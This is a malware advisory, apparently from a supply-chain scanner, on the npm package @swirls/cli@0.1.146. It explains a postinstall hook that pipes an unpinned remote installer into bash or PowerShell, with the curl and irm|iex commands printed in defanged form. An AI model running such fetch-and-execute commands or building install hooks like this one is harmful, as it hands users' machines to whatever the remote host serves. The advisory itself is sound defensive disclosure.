@swirls/cli@0.1.146
Malicious code in @swirls/cli (npm)
Analysis
The package installs through a postinstall hook (scripts/install.js) that executes an unpinned remote installer with the privileges of the installing user. On macOS/Linux it runs `execSync("curl -fsSL hxxps://swirls[.]ai/install | bash")` with shell:true; on Windows it runs `powershell.exe -NoProfile -Command irm hxxps://swirls[.]ai/install[.]ps1 | iex` with SWIRLS_YES=1 injected into the environment. The hook is gated to global installs (npm_config_global or BUN_INSTALL_GLOBAL must be set) and exits early when CI is set, so it fires in the normal `npm install -g @swirls/cli` case. After fetching, it copies ~/.local/bin/swirls over the package's own bin/swirls entry point and chmods it 0755, so the shipped bin becomes a downloaded binary at install time. The fetched script is not versioned, pinned, hashed or otherwise integrity-checked; whatever the remote endpoint serves at install time executes with full user (root for -g) privileges and entirely bypasses npm tarball integrity verification. The bundled bin/swirls is a 35-line Node shim whose only action is to run ~/.local/bin/swirls.exe on Windows or print an error telling the user to run the same `curl -fsSL hxxps://swirls[.]ai/install | bash` command. Endpoints: hxxps://swirls[.]ai/install (shell), hxxps://swirls[.]ai/install[.]ps1 (PowerShell).
- analyzed by
- Leitwacht
- first seen
- Nov 8, 2026, 05:57 PM
- analyzed
- Nov 8, 2026, 05:58 PM
- weekly installs
- 1,372
Related advisories
- @swirls/cli@0.1.149 same package
- @swirls/cli@0.1.148 same package
- @swirls/cli@0.1.145 same package
- @swirls/cli@0.1.144 same package
- @yuanjielab/cli@0.9.0
- neun-by-neun@0.1.0
- charape@1.0.4
- @denzz221/baileys@8.1.7
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.